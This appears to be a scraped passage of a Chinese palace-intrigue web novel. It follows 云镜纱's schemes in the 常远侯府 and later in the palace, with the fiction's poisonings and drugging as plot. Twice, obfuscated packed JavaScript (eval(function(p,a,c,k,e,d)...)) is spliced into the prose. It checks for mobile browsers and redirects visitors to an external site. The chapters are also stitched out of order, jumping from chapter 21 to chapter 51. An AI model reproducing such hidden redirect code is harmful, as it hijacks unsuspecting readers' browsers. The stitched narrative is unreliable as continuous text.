她心里抓肝挠肺一样,若是不能弄个明白,指定要难受一整日。 无论她怎么撒娇,敏良始终不开口,芳音泄气,去磨尹寻春。 “好寻春,你肯定知道,快跟姐姐说说。” 尹寻春没什么顾忌,芳音想知道她就说了。 两人嘀嘀咕咕的,不时传出芳音压低的惊呼声。 “真的?” 云镜纱听了片刻,转过身倚着窗,“一直做针线对眼睛不好,敏良,你陪我出去走走吧。” 敏良只好放下笸箩,“好。” 二人出了院门。 敏良:“姑娘想去哪儿?” “就在近处走走吧。”云镜纱低声道:“别的地方,也不知道我能不能去,万一惹了夫人忌讳……” 少女目光暗淡,敏良心有不忍,“姑娘还有兄长,等找到兄长,侯府定不会亏待姑娘,到时搬出去赁间小院,想去哪儿都由姑娘做主。” 云镜纱笑了笑,“那可真好。” 可惜不是她想要的。 敏良弯唇,眸光明亮期待,“奴婢最期望的,就是攒够银子为自己赎身,带着娘和弟弟妹妹赁间院子,做些营生,平平淡淡过一辈子。” 云镜纱:“这好像是你第一次说起自己的家人。” 平日里芳音很爱谈及自己娘亲,看得出母女俩关系很是亲近。而尹寻春早已斩断亲缘,对这种话题避之不及,敏良更不会说起自己的私事。 “也没什么好说的。” 敏良毫不在意道:“我爹爱赌,差点把家赌散了。赌坊的人上门催债,他吓得丢下我们连夜跑了,不慎摔下河被活生生淹死。自那以后,我就当自己没爹,自卖自身进侯府还债。” “我娘身子不好,吃药费钱,我总想多做些,多攒些银子给她看病。” “我底下还有两个弟弟一个妹妹,不过总角,都很乖巧。大弟力气大,明年我想给他找份在米店帮工的活计。小弟脑子好,他还小,我想送他去念书。妹妹再过几年就要说亲了,我要给她攒份厚实嫁妆,让她体体面面出嫁。” 而这些,都需要银子。 难怪她总是拿着针线在忙活。 如此瘦弱的肩膀,却撑起了一个家。 云镜纱温声道:“我相信你,一定能得到想要的一切。” 敏良笑着,眼里含着光,“奴婢也信。” 不知不觉,二人走出了桃林,竟到了许玉淮的书房。 敏良有些踯躅,不知该不该往前,“姑娘……” 云镜纱垂睫,有些自嘲地笑了下,轻声道:“回去吧。” 方转过身,背后有人叫住她。 “云姑娘,请留步。” …… 昨夜许玉淮宴请杜丞相之子杜兴才,席上有些喝多了,回府后怕熏着舒含昭,直接在书房歇下。 醒来后照例去凝芳阁,谁知一见舒含昭,她竟委屈地扑进许玉淮怀里,只喊了声“夫君”,脸颊上便淌了两行清泪。 许玉淮有些发懵,“这是怎么了?” 托着舒含昭的脸,拇指拭去泪水,他温声道:“好端端的怎么哭了?” 一听这话,舒含昭越发委屈,揪着他的衣领,泪水越来越多。 许玉淮只得去问夏琼。 夏琼垂首,“夫人昨日在宴上,被一神秘人推下了湖。” “什么?” 许玉淮怔住。 舒含昭忽然发怒,指着夏琼骂,“滚,都给我滚出去!一群没用的东西,昨日我出事时,你们都死哪儿去了?” “若非看在你伺候我多年的份上,我非得将你发卖了不可!” 夏琼当即跪地,身子颤抖,“夫人息怒。” 舒含昭又怒又气,抬手掀了一桌子精致菜肴。 汤水淋在夏琼身上,她咬着牙不敢吭声。 “这么多人看着我出丑,我往后还怎么见人!夫君,你帮我把那贼人找出来好不好?我要扒了他的皮,抽了他的筋,将他剁碎了扔去山里喂狼!” 舒含昭哭着揪住许玉淮的衣袖。 一个娇生惯养的贵女说出这样冷血残酷的话,屋内跪地的丫鬟们纷纷抖上一抖,面色发白。 许玉淮眸色微凝,“先收拾了。” 夏琼应声,跪地收拾地上狼藉。 许玉淮揽着舒含昭坐在榻上,抬手擦去她的泪。 “好,你要找什么人,我都帮你找,别哭了。” 听着他温柔的话,舒含昭甜蜜的同时又忍不住使小性子,举起白纱包裹住的手臂,红着眼委屈道:“夫君,我好疼啊,你帮我吹吹好不好?” 许玉淮轻轻吹了两下。 舒含昭弯唇笑了,又指使许玉淮打水给她净面,要他亲手为她穿衣梳妆,喂她吃饭。 许玉淮无一不应。 哄了两个时辰,好不容易将舒含昭哄好了,她才肯放人。 出了凝芳阁,许玉淮徐徐吐气,快步朝书房走去。 远远瞧见桃林口站了两道身影,许玉淮心下微松,看了眼元义。 元义领会,出声叫住云镜纱。 “侯爷。” 看着少女盈盈走来,许玉淮眉眼舒展,挥手让元义和敏良等人退下,语气松快,“怎么到这儿来了?” 少女亭亭而立,恭顺温良,语气轻缓温润,仿若春风拂面,令人不觉放松。 “随意走走。” 嗓音轻轻柔柔,似羽毛从人心头掠过。 云镜纱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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云镜纱眼含希冀,“许大哥,你真的不会随便给我寻门亲事?” 许玉淮摇头,“你不点头,我断不会给你说亲。” 云镜纱扬唇,杏眸中涟漪荡漾,亮得仿佛有碎光,“好,许大哥,我相信你。” 许玉淮晃了下神。 他发出邀请,“可要进去坐坐?” “不了。” 云镜纱摇头,嗓音低落,“若是被夫人知道,她又该误会许大哥了。出来够久了,许大哥,我先回去了。” 这姑娘可真善解人意。 许玉淮在心里感叹。 想起在凝芳阁的一上午,他垂了垂睫,拇指与食指指腹重重一捻。 柔声叮嘱,“好,路上慢些。” 云镜纱对他扬了下唇,转身款款而去。 许玉淮目送她的身影消失在桃林深处,正要转身,视线忽被一物吸引。 草丛中躺着一枚香囊,银丝成竹,墨绿为穗。 像是男子样式。 21. 第 21 章 早朝过后,许玉淮随上峰进了长极宫。 听着户部尚书禀报上月国库收支,他低眉望着脚下光滑的大理石砖,神色恭谨谦和。 户部尚书话锋一转,夸道:“多亏了有许侯在,月初才不至于忙乱,有许侯这等人才,实乃我大周之幸啊。” 许玉淮眉峰一压。 这柳方同喜权,他进户部这么久,光给他一个户部侍郎的名头,要紧的事一件也不让他沾手。偏他滑头得很,又擅逢迎,在靖国公面前有几分面子,导致他竟无法破局。 若非柳方同,去岁南方地动,他也不会被派去赈灾。 不过祸兮福之所倚,福兮祸之所伏①,若他不南下,也不会在回京时意外得到那样东西。 许玉淮迈步,面上含笑,温声道:“尚书谬赞。臣不过尽了绵薄之力,国库丰盈,皆是陛下与尚书,户部各同僚之功。” 户部尚书柳方同着绯色宽袖圆领袍衫,四十来岁,身形略胖,看着很是喜气,闻言笑呵呵道:“陛下励精图治,内政修明,是百姓之福。” 孟桓启坐于案后,不为所动。 许玉淮正欲退后,蓦地发觉帝王的视线落在自己身上,他低头,瞧见了腰上的香囊。 正疑惑,孟桓启冷淡的嗓音响起,“许卿的香囊,做工很是精巧。” 许玉淮拨弄了下腰间香囊,墨绿色穗子随之晃动。 “是她人所赠。” 柳方同理所当然以为是舒含昭给的,惊讶挑眉,“侯夫人娇生惯养,竟有这门手艺。” 许玉淮笑了下,并未否认。 与云镜纱有关的男子,除了云景舟便是他。云景舟下落不明,只可能是送他的。 她不便亲手给他,他拿也是一样的。 孟桓启看着那枚眼熟的香囊,眸光深沉,神色不明。 柳方同又奉承了几句,孟桓启兴致缺缺,见他着实无正事,淡淡道:“柳卿无事便退下吧。” 柳方同悻悻闭嘴,恭顺应,“臣告退。” 二人离去,孟桓启拿起手边的折子。 看了片刻,他将折子扔开,一手摁着额。 候在一旁侍奉的高德容小心问:“陛下可是乏了?不若让奴才替你揉按,松快松快。” 孟桓启摇头,“不必。” 顿了顿,他道:“让卫焱来。” 陛下夜里出宫时,都是让卫大人随侍。 今夜这是要去常远侯府? 高德容忙道:“诺。” …… 承安堂内。 黄老夫人靠在榻上,“昨日我身子不适,无意见人,今个儿爽利些了,便想唤你来说说话。” “前日宴会如何?适应么?” 云镜纱一脸乖顺,“一切都好。” 黄老夫人满脸温和,“那便好。” 只当不知凝芳阁内闹的那通。 见云镜纱并未哭诉舒含昭为她择婿一事,心里更是满意。 黄老夫人留云镜纱用了午膳,饭后让秀妍收拾偏房,好让她午睡。 午睡过后,拉着云镜纱听说书先生说书。 消磨了一整日,眼看天色已晚,黄老夫人索性道:“都这个时辰了,云丫头不若就在我这儿吃吧。这多了个姑娘陪我用膳,胃口都要好些。” 云镜纱笑意柔顺,“老夫人抬举,镜纱便恭敬不如从命了。” 吃过了饭,云镜纱留下吃了一盏茶,便打算回桃蕊院。 她刚要告辞,绮琴打门边过,手里拎着食盒,嗓音似枝头黄鹂,低回婉转,“老夫人,奴婢这就去了。” 黄老夫人端着茶,一脸疑惑,“你去何处?” “老夫人忘了。”绮琴笑,“您今晨不是让小厨房给侯爷炖了参汤?” 黄老夫人恍然大悟,“瞧我这记性,真是老了。” 她摇头失笑,目光触及云镜纱,忽道:“淮儿这会儿应在书房,云丫头正好顺道,不如替我送去?也免得绮琴多跑一趟。” 云镜纱温声,“好。” 尹寻春低头上前拎过食盒。 黄老夫人目光温和,“辛苦云丫头。” “多走一截路罢了,说不得辛苦。”云镜纱笑着,“方才吃多了,正好消消食。” 她福身告辞,带着尹寻春离开承安堂。 天微微擦黑,零星几颗星子闪烁着微弱光芒,尚不寻明月踪影。 今日云镜纱只带了一名随行小丫鬟和尹寻春。 小丫鬟拎着灯在前头引路,昏黄灯光散发着朦胧光影,行走间照亮沿途葳蕤草木。 云镜纱和尹寻春落在后头,不知不觉与小丫鬟拉开了距离。 舒含昭为她挑选亲事不是秘密,稍微一打听就能得知。 也不知这汤,只是参汤,还是加了别的什么东西。 “寻春,你去办件事。” 云镜纱一手掩唇,凑近尹寻春耳畔。 嗓音散在夜风里,轻得仿若蚊蝇。 尹寻春点头,陡然“哎哟”一声,“好疼!” 小丫鬟听见动静回头,急急往后走两步,“怎么了?” “我肚子突然好疼,憋不住了,我要去茅厕!嘉木,你先跟姑娘回去。”尹寻春把食盒塞到小丫鬟嘉木手里,疾速狂奔,眨眼间不见了踪影。 “云姑娘。” 嘉木一手拎着食盒,一手提着灯,有些手忙脚乱地看着云镜纱,“我们要等等寻春么?” “不用等她。” 云镜纱拿过提灯,灯影一晃,暖光照在她脸上,笑容温暖明媚,“我们先走吧,她自己会回的。” 嘉木点点头,“好。” 二人一路到了许玉淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15279147|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房外。 夜风徐徐而过,吹得院内竹影晃动,“沙沙”作响。 院内灯火明亮,两名小厮尽忠职守候在门外。 元义见了云镜纱,惊讶道:“云姑娘怎么来了。” 少女笑,“老夫人让人给侯爷炖了参汤,我正好在承安堂,顺道给侯爷带过来。” 明月从云层里钻出,清辉似薄纱笼罩大地,少女提灯立在阶下,身上笼了一层辉光,婀娜纤巧,柔美飘逸。 美人声如莺啼,关怀问道:“侯爷还在忙?” 元义不敢多看,低头含糊应道:“是。” 门内响起许玉淮的声音,“元义,是谁来了?” 元义高声道:“侯爷,是云姑娘。” “让她进来吧。 或许是错觉,这道隔了一扇门,显得有些厚重的嗓音里似含了三分笑意。 元义替云镜纱开了门,她把提灯给了嘉木,从她手里拿过食盒,缓步迈进门去。 许玉淮抬眸,笑着唤她,“云姑娘。” “侯爷。” 云镜纱视线从书案上掠过。 数十本书籍堆在案上,顶上那本卷了边,当是其主时常翻阅之故。 她斜斜看见三个大字。 《道德经》? 云镜纱忽而忆起,当初在水里救起许玉淮时,他身上也是带了本《道德经》 许玉淮喜欢看这书? 察觉到云镜纱的视线,许玉淮将另一本书盖在《道德经》上,疑声问:“今夜怎么到我这儿来了?” 云镜纱顺势收回目光,拎起手中食盒,复解释一通,“今日去承安堂看望老夫人,离开时老夫人让我替侯爷送碗参汤。” 许玉淮愧道:“是我不孝,近日忙于公事,忽略了祖母。幸好有云姑娘陪她解闷。” 云镜纱小声道:“这不算什么。” 把食盒放在案上,取出盅子和翡翠瓷碗,云镜纱盛了碗汤放在许玉淮面前。 “老夫人一片心意,侯爷快喝吧。” 喝了她就该走了,免得舒含昭发疯时连累她受罪。 “不急。” 许玉淮唇畔含着温润笑意,缓步走到窗前,将开了一半的窗子彻底打开,回首对云镜纱道:“今夜月色不错,正适合入画。不知云姑娘可有雅兴做我画中人?” 云镜纱敏锐地察觉到,今夜许玉淮的心情很是不错。 这是有喜事? 她抬眸,灯火之下面如暖玉,双颊藏粉黛,杏眸含水蕴雾,清丽似玉兰。 “我……” 刚吐出一字,云镜纱目光定住,倏然一惊。 窗外夜风张扬,树影婆娑。眇眇忽忽间,她看见一个略显熟悉的影子。 影子立在树前,漆黑凤眸不辨神色,定定望着她。 是孟桓启。 50-60 第51章 “娘娘,都这么晚了,陛下应当不会来了,您早些歇着吧。” 芳音低声劝道。 云镜纱端坐镜前,一双秀眉紧紧拧着,心头坠然。 她往窗外看去,嗓音很轻,“陛下分明答应要来的,为何失约?” 芳音:“或许是临时遇见了要事?” 说不通。 明知今日是陛下生辰,大臣们都喝醉回府去了,能有什么要事? 不知为何,云镜纱有些不安。 丰熙领着宫人端了铜盆进来,“娘娘可要洗漱?” 云镜纱有些丧气地捏着眉心。 她都做好了准备,可他人却不来了,心中难免失望。 或许,还有些委屈。 说好要来的人失了约,也不差人来传个话,让她白白等了这么久。 抿了抿唇,云镜纱忽略心中涌起的酸涩,起身道:“好。” 敛去眸底复杂神色,丰熙快步上前。 洗漱完躺在床上,云镜纱却没什么睡意,睁眼瞧着在昏暗灯光中显得暗沉的帐子。 他今夜不来,明日过后定又要忙碌了,下次见他不知得等到什么时候。 勉强按捺住焦躁,云镜纱努力让自己平静下来,闭上眼酝酿睡意。 大脑放空,不知不觉便睡了过去。 与她一夜安眠相反的是,明熙殿的灯亮了一整夜。 风卷起落叶,宫灯下的穗子晃来晃去,黑影落在脸上莫名有些发麻,总觉得有东西在作怪,像是有虫。 高德容一巴掌拍在自己脸上。 这一拍,他一下子惊醒,举目四望,见到熟悉的景象,心放下一半。 揉了揉发麻的双腿,他扶着墙,问道:“什么时辰了?” 一旁守夜的小公公急忙道:“回公公,寅时中了。” “哎哟!” 高德容惊呼一声,“快到上朝的时辰了。” 他抬头望着屋顶上端坐的那道人影,担忧不解。 也不知文松那小子究竟和陛下说了些什么,竟让他在屋顶枯坐了一夜。 忍着忧虑,高德容慢步上前,仰头道:“陛下,该收拾上朝了。” 那道身影动了动,低低应了一声。 嗓音喑哑,像是有砂砾含在喉间。 高德容一听,面上忍不住带了愁,虽说是夏日,可就这么在外头吹了整夜的风,万一伤了龙体就不好了。 正想着下朝后劝陛下请个太医来看看,一道影子从高德容眼前划过,眼珠一转,孟桓启已落在了身前。 一夜未眠,他脸色说不上好,神情略显憔悴,下巴冒出一圈青茬。衣袍上沾了夜间水汽,眉头微拧,让他整个人有股说不上来颓然。 往前走了两步,孟桓启倏地停步,“文松。” “属下在,陛下有何吩咐。” 黑影悄无声息落地,单膝跪在孟桓启身前。 这么多年,高德容已经习惯这些来无影去无踪的皇室暗卫,只是这人出现突然,心头重重一跳,忍住心慌维持镇定。 下一瞬,他听见年轻的帝王低声吩咐,“这种事往后不必再禀报,她想做什么都不许阻拦,你们的任务,是负责她的安全。” 文松意外,却不敢置喙,“是。” 高德容听得有些糊涂,他知道文松被陛下派了出去,却不知他去了何处,“她”是谁?陛下昨夜失态,难不成就是因为“她”? 余光瞄见陛下进了殿,高德容不敢耽误,急忙追上去。 还未走近,一名小公公脚步匆匆走来,“公公,出事了。” 见他言行无状,高德容皱眉,板着脸问:“何事如此惊慌。” 小公公凑上去在他耳边说了句话。 高德容脸色大变,当即进了殿。 孟桓启擦了脸,将帕子丢入铜盆,瞥他一眼,“什么事。” 高德容急急上前,“陛下,武大人方才传来消息,杜兴翰于昨夜死于狱中。” 孟桓启蓦地抬眸,眸光深沉。 …… 凤仪宫。 天未亮,宫中未点灯,窗门大开,风从窗外涌进,吹得纱帘乱舞。 轻微的脚步声在殿中响起。 来人问:“他走了? ” “嗯。” 黑暗中有人应声。 一道身影坐在纱窗不远处的圆凳上,她披散着头发,薄薄单衣勾勒出玲珑有致的身形,目光虚虚落在窗外,姝丽娇媚的脸上毫无表情,一双红唇略微发肿。 丹莹跪在舒裳晚脚下,担忧地握住她的手,“姑娘,这事若是被人发现,您可就完了。” 她的手心发抖,带着汗意,看来是吓得不轻。 舒裳晚反手握住她,脸上竟带着笑,“不会有人发现的。” 丹莹仍是害怕,嘴唇发抖,“陛下那边……您好歹也是他的妃嫔,若是、若是……” 舒裳晚笑,“陛下对我无意,没事岂会关注这凤仪宫?在他心里,或许我只是一个住在皇宫里的客人罢了,只要不妨碍他的事,他不会动我。” 一双娇媚含水的眸子静静看着丹莹,似晚风拂过云霞,温柔绚烂,“丹莹,我和自己喜欢的人在一起,你不为我高兴吗?” 丹莹心中酸楚。 姑娘昨夜醉酒,出去散心时遇见了那个人,大抵是这些年太苦了,心中压抑的情绪控制不住宣泄而出,她邀了那人进宫共饮,意乱情迷之下,同他犯了错。 这便罢了,醒来后姑娘竟对他冷言嘲讽,即便没亲眼看见,丹莹也能想象出那人隐忍难堪的脸色。 经此一遭,只怕他对姑娘的误会该更深了。 昔日的一对有情人竟走到了这般田地,丹莹忍不住为自家姑娘委屈。 姑娘与姨娘虽然被打发到了庄子上,但没有国公爷和夫人在上头压着,母女俩都觉着松快,日子虽然过得艰难,但好歹也有盼头。 姑娘结识那人后,他时常打些野味来接济,瞧着两人互通情意,无论是她还是姨娘,心中都是欢喜的。 她们不求富贵,只求平淡安稳。 可谁知道,国公府顶顶尊贵的嫡女看上了落魄侯爷,为他死活不愿入宫,国公夫人心疼女儿,求了国公爷成全。 这种情况下,国公爷竟想起了自己在庄子上还有个容色不输大姑娘的女儿,强行将她们带了回去。 无论过了多久,一旦想起那日,丹莹依旧心中发寒发颤。 好多的血啊。 那人被国公府的侍卫殴打,打得吐了半身的血,还在奋力朝着姑娘的方向追来。 听着他一直在叫“晚晚”,姑娘在马车里抱着姨娘哭了一场。 或许舒家人的心都是石头做的,眼泪并不会让他们心软,无论姑娘怎么哭求,世子始终不曾开口让侍卫停下。 于是姑娘妥协了。 她擦干泪,答应入宫,忍着心痛对那人说,故意与他相识,不过是看他能让她的日子过得更好,如今爹爹回心转意,要接她入宫做娘娘,她自该放弃这里的一切,奔向荣华富贵。 眼看着他的眸光一点点黯淡,直至化为死寂,姑娘眼里的光也熄灭了。 可丹莹没想到,姑娘放弃了心上人,竟连姨娘也没了。 失去了一切的姑娘心中燃着一把火,她入宫,不是为了国公爷口中的所谓舒家荣耀,是为了将整个靖国公府夷为平地。 为了复仇,姑娘和陛下做了一场交易,自此,跋扈恶毒舒贵妃之名传遍了京城。 但谁也没想到,那人竟然入了宫,和姑娘重逢。 念及往事,丹莹口中叹气,目光不由落在舒裳晚腹部,带着忧虑,“奴婢自然是高兴的,可是……” 她张了张唇,“倘若您怀……” “丹莹。” 舒裳晚打断她,轻轻一笑,说不上是怨恨还是惆怅,“你是不是忘了,我这辈子都不可能会有自己的孩子。” 丹莹如遭雷击,眼底涌出了泪,颤声道:“姑娘。” 她怎么能忘,姑娘入宫之前国公夫人送来的那碗药,让姑娘疼了整整一夜的药,让她再也不能有孕的药! 丹莹握住舒裳晚的手不住颤抖,泪水落下。 姑娘已经很疼了,她怎么能在姑娘伤口上撒盐呢? “……都怪奴婢,是奴婢的错,姑娘……” “好了,都过去了。” 舒裳晚把丹莹抱在怀里,轻声安抚,语调含笑,“姓冯的不让我生,那我也让她女儿生不了,很公平。” 一想到这几年舒含昭喝的那些药,她不能生的流言,舒裳晚心中一阵畅快。 “我都不伤心,你伤心什么?” 擦去丹莹脸上的泪珠,舒裳晚轻声道:“在这宫里,还有你陪着,我已经知足了。” 丹莹逐渐平静下来,只是眼里还含着一层水光。 说到舒含昭,舒裳晚思忖,“夏琼那儿往后别联系了,若被舒含昭发现端倪,她一不小心就会没命。” 丹莹点头,“好。” 姑娘年幼时曾救过夏琼一命,后来她进了舒含昭的院子,颇受重视。姑娘本来没想用她做什么,可入宫之后愤恨难消,悄悄联系了夏琼。 好在她念着姑娘的救命之恩,这几年一直在暗中给姑娘做事。 “好了,我乏了,回去睡会儿,你也去吧。” 舒裳晚揉了揉眼睛。 丹莹忙扶她去榻上,“姑娘快歇着吧。” …… 靖国公府舒七公子死于丞相府小公子之手,陛下万寿那日,杜公子又死在大理寺牢狱。 刚好那日舒五公子在宫宴上大放厥词,要整个丞相府偿命,消息一出,舒家自然而然成为头等怀疑对象。 敢在大理寺牢狱动手,舒家未免太不把陛下放在眼里。 一时间,舒家藐视君主之言传遍了整座京城。 尹寻春站在云镜纱面前,一脸兴奋,就差手舞足蹈了。 “听说舒誉和杜丞相在朝堂上闹得不可开交,险些大打出手,这下舒杜两家必成仇敌。” 云镜纱有一下没一下地摇着团扇。 尹寻春没听见声儿,抬头便见她双眼虚浮,似在出神,不由问:“姑娘在想什么?” 在想他那日为何没来。 话音险些出口,云镜纱及时回神,“没什么。” 舒杜两家成死敌在意料之中,云镜纱摇着扇子,“常远侯府如何?” 尹寻春神色越发兴奋,眼睛亮如繁星,“姑娘,您一定想不到!” 第52章 云镜纱拿了块冰过的寒瓜咬了口,随口问:“想不到什么?” 甜味溢满整个口腔,她不由眯起眼睛。 尹寻春一脸兴奋,好在还知道不宜声张,压低嗓音道:“许玉淮废了!” “咳——” 云镜纱被呛住,用团扇挡住唇,震惊抬眼,“什么?” 是她想的那个意思吗? 尹寻春替她拍了拍背,坐在云镜纱身边,激动拉住她的衣袖,“听说许玉淮患有恶疾,卧病在床,连吏部的差事都辞了。公子派人去打听,发现他根本就没有生病!” 云镜纱缓过来,给尹寻春塞了块寒瓜,“别激动,你慢慢说。” 不客气地咬了口,冰冰凉凉的,又沙又甜。 尹寻春喜欢地弯了眼,吃完整块寒瓜,兴奋地小声道:“许玉淮是被舒含昭下药了。那药很是邪门,一段时间不用,就会头晕心悸,全身颤抖,跟变了个人似的。公子说那药名叫芙蓉膏,是害人的东西,现在舒含昭就用它害许玉淮呢。” 是她想岔了,一听许玉淮废了,下意识往那个方向想。 云镜纱自省片刻。 不过吃了芙蓉膏,若非下定决心戒断,许玉淮这辈子也跟废了差不多了。 看来舒含昭比她想象中还要狠毒。 “黄老夫人呢?她能眼睁睁看着孙子受罪?” 尹寻春不屑撇嘴,“那老太太起初说要休妻,后来舒含昭带着人去她院子一通乱砸,老太太吓得连院门都不敢出,现在整个侯府都由舒含昭说了算,据说她养了好几个面首,个个都长得极为好看,天天让几个面首变着花样在她面前争宠。” 舒含昭能忍黄老夫人那么多年,无非是因为在乎许玉淮,现在许玉淮在她眼里什么也不是,自然也不会把黄老夫人当回事。 云镜纱没什么情绪道:“听起来,她的日子过得还不错。” 尹寻春拿了块寒瓜咬着,含含糊糊道:“可不是。” 有钱有权还不缺美男子,真是神仙一样的日子。 云镜纱见不得舒含昭过得好,她勾勾手指,等尹寻春倾身凑上,在她耳边小声说了几句。 尹寻春瞪圆了眼,喉咙滚动咽下寒瓜,“姑娘放心,我一定给您办好了。” 她哼哼冷笑,“绝对不让舒含昭好 过。” 云镜纱点了点她眉心,“不觉得我恶毒?” “不觉得啊。” 尹寻春摇头,“是她一直想害姑娘。再说了,法子也是她先想出来的,这叫以其人之道还治其人之身!” 云镜纱笑着摸她脑袋,“去吧。” 芳音进来,随口问道:“寻春要去哪儿了?” “她在宫里闲不住,让她出去玩玩。” 芳音嘟囔了一句,“这大热天的,怎么天天往外跑。” 尹寻春不在意,蹦蹦跳跳往外走。 丰熙正好端着茶水进来,不慎和尹寻春相撞,木盘上的茶杯晃动,眼看要砸在地上,她正想动,尹寻春一手接住,把茶杯安安稳稳放回木板。 “丰熙姐姐小心。” 丰熙微顿,看了眼她的手,嘴唇微抿,“好,谢谢。” “不客气。” 尹寻春弯了弯眼,脚步欢快地出了宫门。 丰熙看了会儿她离开的方向,微垂着头奉上茶。 …… 和云镜纱猜想的一样,朝堂之上对于杜兴翰和舒明的死吵嚷不休。 舒家抓着杜家当众杀人不放,杜家义正词严,道是舒家敢在大理寺杀人,完全没把皇室和陛下放在眼里,两边拥趸皆把对方往死里攻讦。 吵嚷了几日,最终因杜兴翰之死不了了之。 舒家狂妄惯了,断不会放过杜家,这两家之间的仇解不了,往后朝堂上可有得热闹看了。 云镜纱恶毒地想,斗吧,这两家最好斗个两败俱伤,好让她坐收渔翁之利。 初一那日,云镜纱照例随孟桓启去慈宁宫请安。 几日不见,猛一相见,总觉得他好似哪儿不一样了,云镜纱看了他一眼又一眼。 那么强烈的目光,孟桓启想忽视都做不到,无奈问:“怎么了?” 云镜纱眨眼,放柔嗓音,“只是想看看陛下。陛下生辰过后就不见了人,我想陛下了。” 她忖度着,不能再这么含蓄,得直白才行。 耳根微微发热,孟桓启若无其事地牵住云镜纱的手,触了一手的滑腻,他没忍住捏了捏。 “胡说什么。” “肺腑之言被陛下说成胡说,我可真冤枉。” 少女的嗓音似山间汩动的清泉,又如吹散云雾的清风,清甜又柔软。 孟桓启将她握紧,眼里的光亮了一瞬,又很快沉寂。 二人相携着往慈宁宫去。 还未到慈宁宫大门,刚好与舒裳晚撞上了。 姿容绝丽的女子眼前一亮,花蝴蝶似的迎上来,仿佛没看见云镜纱似的,对着孟桓启嘘寒问暖。 “陛下政事再忙,也不能不顾身子,臣妾最近喜欢上了炖汤,陛下可要去凤仪宫坐坐?” 她的声音又柔又媚,是那种一听便仿佛在心里生了钩子的娇媚声线,直叫人头皮发麻,心尖酥麻。 瞧见这一幕,云镜纱不知为何有些不舒服,像是心里堵了一口气,不上不下的,噎得人难受。 她抿住唇不语。 孟桓启忽然咳了一声,舒裳晚心领神会,悄悄瞥了眼云镜纱,见她沉了脸,扬了扬眉。 “哎呀,臣妾昨夜贪凉,今晨醒来嗓子有些不舒服,还是少说话为妙。” 云镜纱心道,这倒是个好主意。 这舒贵妃每次说的话都极为难听,还是让她闭嘴好了。 孟桓启随口道:“既然嗓子不舒服,便让太医开副方子,回凤仪宫好生休养几日。” 舒裳晚听懂了,想翻他一眼,忍住了。 勾着红唇娇声道:“陛下如此关爱,臣妾一定听从。” 云镜纱紧紧抿唇,不想再听这两人在她面前调。情。 好在慈宁宫到了,舒裳晚终于闭了嘴,云镜纱舒了口气。 三人一道进入宫门。 太后早早便等着了,脸上带笑拉着孟桓启说话。 说的无非是老生常谈,保重龙体,延绵子嗣之类的。 云镜纱眼神虚晃,瞥到太后身边的一道人影,目光与她相对后默默移开。 舒裳晚也注意到了那道陌生的人影,疑惑问:“咦,这丫头倒是有些陌生。” 太后含笑,“她手巧,人又乖巧,与哀家有些缘分,便把她提到了身边伺候。” 那人屈膝,“奴婢汝桑,陛下和两位娘娘万安。” 舒裳晚打量几眼,“看着是个乖巧的,往后可要精心伺候太后娘娘。” 汝桑笑起,嘴角浮现两个梨涡,“是。” 舒裳晚不再关注她,端着茶杯默默听太后和孟桓启说话。 两人的话音已经绕到了舒杜两家身上,太后面色忧愁,“明儿那孩子最是乖巧,很是讨人喜欢,谁知就这么没了。你二舅父向来疼爱他,现在不知何等伤心。” 听了这话,云镜纱和舒裳晚眼里不约而同浮现讽刺。 眠花宿柳,贪花好色,嗜酒如命,呼卢喝雉。 这也能叫乖巧的话,这世上就没有可憎的人了。 孟桓启不动声色,“母后若是担忧,可下旨让二舅母进宫陪伴您几日。” 太后微顿,继而摇头,“你二舅母这会儿怕是正伤心着,若是进了宫,她还得哄着捧着哀家,还是算了,让她好好在府里待着吧,有你表兄表弟劝着,想来能快些想开。” 孟桓启:“好。” 太后一噎,有些头疼儿子这惜字如金的性子。 饮了口茶,鲜爽清新的口感在口腔里蔓延,她酝酿片刻,“此事就这么算了?” 孟桓启浅啄一口,白雾模糊了眉眼,遮挡了他眼底冷意。 他言简意赅,“杜家也死了一个儿子。” 太后:“可你舅父说,那杜家公子的死并不是他做的。” “母后。” 孟桓启放下茶盏,神色冷冽,“无论是不是舅父所为,现在朝堂上,全京城都认为是他做的,杜家咬死了这点不放,这个亏,舅父只能吃下。” “舒家人死了,杜家也偿还了一条命,此事到此为止。” 太后长叹一气,“朝堂之事哀家不懂,既然皇帝发话了,那就到此为止。” 云镜纱饮茶,低垂的长睫下,眼底闪过讥诮。 不到此为止,还想让杜家全家给一个舒明偿命吗? 太后看着仁慈敦厚,骨子里却是和舒家一样的护短霸道。 略坐了会儿,太后精神不济,便让他们各自回宫去了。 汝桑搀扶着太后站起,托着她的手回了寝殿。 云镜纱并未瞧她,跟在孟桓启身后出了宫门。 舒裳晚斟酌着该不该开口,便听孟桓启说:“不是嗓子疼?回去传个太医,好好休养。” 抬头对上一双漆黑凤眸,舒裳晚额角抽动,无语片晌后应声,装作一副欢喜到受宠若惊的模样,“臣妾这就回去。” 临走前,她瞪了云镜纱一眼,施施然带着宫人转身。 憋在心里的气还没散完,云镜纱咬唇,双眸水润带着潮气,拉着孟桓启的衣袖告状,“陛下,贵妃娘娘瞪我。” 孟桓启咳了一声,“你看错了,她没瞪你。” 云镜纱不可置信瞪眼,“陛下!” 牵了她的手,孟桓启面不改色,“她眼睛抽了。要这么说,方才进慈宁宫之前,她也瞪了朕。” 云镜纱心中好气,又有几分好笑。 眼睛抽了,他可真能找借口。 心里的气被这一笑散了小部分,云镜纱问:“那夜陛下为何没来?” 孟桓启沉默片刻,“抱歉,临时遇了事。” 